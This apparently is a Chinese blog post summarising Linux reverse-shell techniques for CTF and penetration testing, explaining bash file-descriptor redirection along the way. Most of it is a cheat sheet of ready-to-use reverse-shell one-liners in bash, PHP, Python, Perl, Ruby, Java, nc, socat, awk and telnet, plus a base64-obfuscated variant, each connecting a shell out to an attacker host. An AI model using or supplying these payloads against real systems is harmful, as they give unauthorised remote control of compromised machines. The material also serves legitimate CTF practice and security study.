Linux反弹shell总结

前言

反弹shell(reverse shell)时控制端监听某TCP/UDP端口,受控端发起连接到控制端口,并将其命令行的输入输出转到控制端。

我们不管在平时的CTF比赛中,还是在做渗透测试,反弹shell经常会用到,使用反弹shell方便自己的机器连接目标机器,从而实现更好的控制

Bash反弹shell

/bin/bash -i >& /dev/tcp/ip/port 0>&1

我们来分析一下这条命令

  • bash -ibashlinux的一个常见的shell-i参数表示产生交互式的shell
  • /dev/tcp/ip/port:这是linux中的特殊文件,因为linux 一切皆文件,我们可以认为这个就是用来发起tcp连接的
  • >&:将标准错误输出重定向到标准输出中
  • 0>&1:将标准输入重定向到标准输出中

这里最不好理解的就是重定向,接下来我们来了解一下linux重定向

硬件设备和文件描述符

计算机的硬件设备有很多,在linux中一切皆文件,包括标准输入设备和标准输出设备。

为了表示和区分已经打开的文件,linux会给每个文件分配一个ID,这个ID是一个整数,被称为文件描述符

文件描述符 文件名 类型 硬件
0 stdin 标准输入文件 默认设备(键盘)
1 stdout 标准输出文件 默认设备(显示器)
2 stderr 标准错误输出文件 默认设备(显示器)

linux程序在执行任何形式的I/O操作时,都是在读取或者写入一个文件描述符。这三个文件默认情况下都是打开的,在重定向的过程中,可以直接使用文件描述符。

Linux Shell重定向

重定向主要分为两种(其他复杂的都是从这两种衍生而来的):

  1. 输入重定向<<<
  2. 输出重定向>>>

在输入重定向中,<表示标准输入重定向,<< tag表示将开始标记tag和结束标记tag直接的内容作为输入。

在输出重定向中,>表示标准输出重定向(直接覆盖文件),>>表示将输出进行追加文件。

我们通过分析bash反弹shell来学习重定向

/bin/bash -i >& /dev/tcp/ip/port 0>&1

使用>&其实是一种简略的写法,它和&>一样表示将标准错误输出重定向到标准输出中,我们还可以通过在末尾添加2>&1来实现这种效果

/bin/bash -i &> /dev/tcp/ip/port 0>&1

/bin/bash -i > /dev/tcp/ip/port 0>&1 2>&1

我们再来说一说最后的0>&1,这句话很好解释,就是将标准输入重定向给标准输出,在开头的我们已经将标准输出重定向到了/dev/tcp/ip/port上,然后再将标准输入也重定向到那,结果如下图

demo

所以就实现了输入和输出都在攻击者的机器上显示,从而实现了反弹shell的作用

这里提到的/dev/tty是控制终端设备的特殊文件

不仅这样,反弹shell还可以这样写

bash -i >& /dev/tcp/ip/port <&2
或者
bash -i >& /dev/tcp/ip/port 0<&2

最后的0<&2一开始觉得是将标准错误输出重定向到标准输入,但是如果这样解释的话,最后的结果应该是这样的

反弹shell2

显然这不是我们想要的结果,通过查阅资料,了解到0>&20<&2是相同的,都是将标准输入重定向到标准错误输出

查了很久,个人觉得这里的0>&2就是特殊用法,我们最规范的用法如下0<标准输入重定向

0< === <	// <就是标准输入重定向,效果于0<相同
1> === >	// >就是标准输出重定向,效果于1>相同

PS:个人觉得这里还挺绕的,在之后的学习中希望可以有更新的认知!

其他常用的反弹shell

PHP反弹shell

php -r '$sock=fsockopen("ip",9999);exec("/bin/sh -i <&3 >&3 2>&3");'

这里的文件描述符3就是前面由PHP创建的socket进程,然后将标准输入,标准输出,标准错误输出全部都重定向到该进程

Python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl反弹shell

perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby反弹shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.120","3333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';

ruby不需要调用系统的/bin/bash进行反弹shell,所以流量中只有执行的命令。

Java反弹shell

public class Revs {
public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

把该代码保存为Revs.java文件

javac Revs.java
java Revs

Java使用Runtime.getRuntime().exec()调用服务器命令进行反弹shell。

反弹shell的一些骚姿势

bash -c '{echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}'

exec 5<>/dev/tcp/ip/port

exec /bin/sh 0</dev/tcp/ip/port 1>&0 2>&0

exec 5<>/dev/tcp/ip/port;cat <&5|while read line;do $line >&5 2>&1;done

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f

nc -e /bin/bash ip port

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:port

awk 'BEGIN{s="/inet/tcp/0/ip/port";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

telnet ip port1 | /bin/bash | telnet ip port2

telnet的第一个port用来连接机器,第二个port用来连接bash

参考文章

Linux反弹shell的本质

反弹shell的几种姿势小结

linux反弹shell流量分析

posted @ 2023-01-08 23:38  seizer-zyx  阅读(389)  评论(0编辑  收藏  举报